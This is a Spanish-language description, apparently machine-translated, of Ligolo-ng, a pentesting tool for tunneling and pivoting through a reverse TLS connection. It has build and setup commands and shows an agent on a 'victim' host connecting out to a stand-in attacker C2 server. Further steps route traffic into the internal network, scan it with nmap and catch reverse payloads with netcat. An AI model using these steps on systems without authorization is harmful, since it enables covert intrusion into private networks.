Ligolo Ng: Herramienta avanzada de tunelización/pivotación que utiliza una interfaz TUN

Ligolo-ng es una herramienta sencilla , ligera y rápida que permite a los pentesters establecer túneles desde una conexión TCP/TLS inversa utilizando una interfaz tun (sin necesidad de SOCKS).

Características

  • Interfaz Tun (¡No más CALCETINES!)
  • UI simple con selección de agentes e información de red.
  • Fácil de usar y configurar
  • Configuración automática de certificados con Let’s Encrypt
  • Performante (multiplexación)
  • No requiere altos privilegios
  • Escucha/vinculación de socket en el agente
  • Múltiples plataformas soportadas para el agente.

¿En qué se diferencia esto de Ligolo/Chisel/Meterpreter…?

En lugar de utilizar un proxy SOCKS o reenviadores TCP/UDP, Ligolo-ng crea una pila de red de usuario utilizando Gvisor.

Cuando se ejecuta el servidor de retransmisión/proxy , se utiliza una interfaz tun , los paquetes enviados a esta interfaz se traducen y luego se transmiten a la red remota del agente .

Como ejemplo, para una conexión TCP:

  • SYN se traducen a connect() en el control remoto
  • SYN-ACK se devuelve si connect() tiene éxito
  • Se envía RST si se devuelve la llamada al sistema ECONNRESET, ECONNABORTED o ECONNREFUSED después de la conexión
  • No se envía nada si se agota el tiempo

Esto permite ejecutar herramientas como nmap sin el uso de proxychains (más simple y rápido).

Construcción y uso

Binarios precompilados

Los archivos binarios precompilados (Windows/Linux/macOS) están disponibles en la página de lanzamiento.

Edificio Ligolo-ng

Construyendo ligalo-ng (se requiere Go >= 1.20):

$ go build -o agent cmd/agent/main.go
$ go build -o proxy cmd/proxy/main.go
# Build for Windows
$ GOOS=windows go build -o agent.exe cmd/agent/main.go
$ GOOS=windows go build -o proxy.exe cmd/proxy/main.go

Configurar Ligolo-ng

linux

Cuando usa Linux, necesita crear una interfaz tun en el servidor proxy (C2):

$ sudo ip tuntap add user [your_username] mode tun ligolo
$ sudo ip link set ligolo up

ventanas

Debe descargar el controlador Wintun (utilizado por WireGuard) y colocarlo wintun.dllen la misma carpeta que Ligolo (asegúrese de utilizar la arquitectura correcta).

Ejecutando el servidor proxy Ligolo-ng

Inicie el servidor proxy en su servidor de Comando y Control (C2) (puerto predeterminado 11601):

$ ./proxy -h # Help options
$ ./proxy -autocert # Automatically request LetsEncrypt certificates

Opciones TLS

Usando Let’s Encrypt Autocert

Al usar la -autocertopción, el proxy solicitará automáticamente un certificado (usando Let’s Encrypt) para attacker_c2_server.com cuando un agente se conecte.

El puerto 80 debe ser accesible para la validación/recuperación del certificado Let’s Encrypt

Usando sus propios certificados TLS

Si desea utilizar sus propios certificados para el servidor proxy, puede utilizar los parámetros -certfiley -keyfile.

Certificados autofirmados automáticos (NO RECOMENDADO)

El proxy/retransmisión puede generar automáticamente certificados TLS autofirmados usando la -selfcertopción.

La -ignore-certopción debe usarse con el agente .

¡Cuidado con los ataques de intermediarios! Esta opción sólo debe usarse en un entorno de prueba o con fines de depuración.

Usando Ligolo-ng

Inicie el agente en la computadora de destino (víctima) (¡no se requieren privilegios!):

$ ./agent -connect attacker_c2_server.com:11601

Si desea hacer un túnel para la conexión a través de un proxy SOCKS5, puede usar la --socks ip:portopción. Puede especificar las credenciales SOCKS utilizando los argumentos --socks-usery --socks-pass.

Debería aparecer una sesión en el servidor proxy .

INFO[0102] Agent joined. name=nchatelain@nworkstation remote="XX.XX.XX.XX:38000"

Utilice el sessioncomando para seleccionar el agente .

ligolo-ng » session 
? Specify a session : 1 - nchatelain@nworkstation - XX.XX.XX.XX:38000

Muestre la configuración de red del agente usando el ifconfigcomando:

[Agent : nchatelain@nworkstation] » ifconfig 
[...]
┌─────────────────────────────────────────────┐
│ Interface 3                                 │
├──────────────┬──────────────────────────────┤
│ Name         │ wlp3s0                       │
│ Hardware MAC │ de:ad:be:ef:ca:fe            │
│ MTU          │ 1500                            │
│ Flags        │ up|broadcast|multicast       │
│ IPv4 Address │ 192.168.0.30/24             │
└──────────────┴──────────────────────────────┘

Agregue una ruta en el servidor proxy/retransmisión a la red del agente 192.168.0.0/24 .

Linux :

$ sudo ip route add 192.168.0.0/24 dev ligolo

Ventanas :

> netsh int ipv4 show interfaces

Idx     Mét         MTU          État                Nom
---  ----------  ----------  ------------  ---------------------------
 25           5       65535  connected     ligolo

> route add 192.168.0.0 mask 255.255.255.0 0.0.0.0 if [THE INTERFACE IDX]

Inicie el túnel en el proxy:

[Agent : nchatelain@nworkstation] » start
[Agent : nchatelain@nworkstation] » INFO[0690] Starting tunnel to nchatelain@nworkstation   

Ahora puede acceder a la red del agente 192.168.0.0/24 desde el servidor proxy .

$ nmap 192.168.0.0/24 -v -sV -n
[...]
$ rdesktop 192.168.0.123
[...]

Enlace/escucha del agente

Puede escuchar los puertos del agente y redirigir las conexiones a su servidor de control/proxy.

En una sesión de ligolo, use el listener_addcomando.

El siguiente ejemplo creará un socket de escucha TCP en el agente (0.0.0.0:1234) y redirigirá las conexiones al puerto 4321 del servidor proxy.

[Agent : nchatelain@nworkstation] » listener_add --addr 0.0.0.0:1234 --to 127.0.0.1:4321 --tcp
INFO[1208] Listener created on remote agent!            

Sobre el proxy:

$ nc -lvp 4321

Cuando se realiza una conexión en el puerto TCP 1234del agente, ncrecibirá la conexión.

Esto es muy útil cuando se utilizan cargas útiles tcp/udp inversas.

Puede ver los oyentes que se están ejecutando actualmente usando el listener_listcomando y detenerlos usando el listener_stop [ID]comando:

[Agent : nchatelain@nworkstation] » listener_list 
┌───────────────────────────────────────────────────────────────────────────────┐
│ Active listeners                                                              │
├───┬─────────────────────────┬─────   ───────────────────┬────────────────────────┤
│ # │ AGENT                   │ AGENT LISTENER ADDRESS │ PROXY REDIRECT ADDRESS │
├───┼─────────────────────────┼────────────────────────┼────────────────────────&   #9508;
│ 0 │ nchatelain@nworkstation │ 0.0.0.0:1234           │ 127.0.0.1:4321         │
└───┴─────────────────────────┴────────────────────────┴────────────────────────┘

[Agent : nchatelain@nworkstation] » listener_stop 0
INFO[1505] Listener closed.                          

¿Requiere acceso de administrador/root?

Del lado del agente , ¡no! Todo se puede realizar sin acceso administrativo.

Sin embargo, en su servidor de retransmisión/proxy , debe poder crear una interfaz tun .

Protocolos/paquetes admitidos

  • tcp
  • UDP
  • ICMP (solicitudes de eco)

Actuación

Puede alcanzar fácilmente más de 100 Mbits/seg. Aquí hay una prueba usando iperfdesde un servidor de 200 Mbits/s a una conexión de 200 Mbits/s.

Advertencias

Debido a que el agente se ejecuta sin privilegios, no es posible reenviar paquetes sin formato. Cuando realiza un NMAP SYN-SCAN, se realiza una conexión TCP() en el agente.

Cuando utilice nmap , debe utilizar --unprivilegedo -PEpara evitar falsos positivos.

Hacer

  • Implementar otros mensajes de error ICMP (esto acelerará los análisis UDP);
  • No haga RST cuando reciba un ACK de una conexión TCP no válida (nmap informará que el host está activo);
  • Agregue soporte mTLS.

Descargar Ligolo-Ng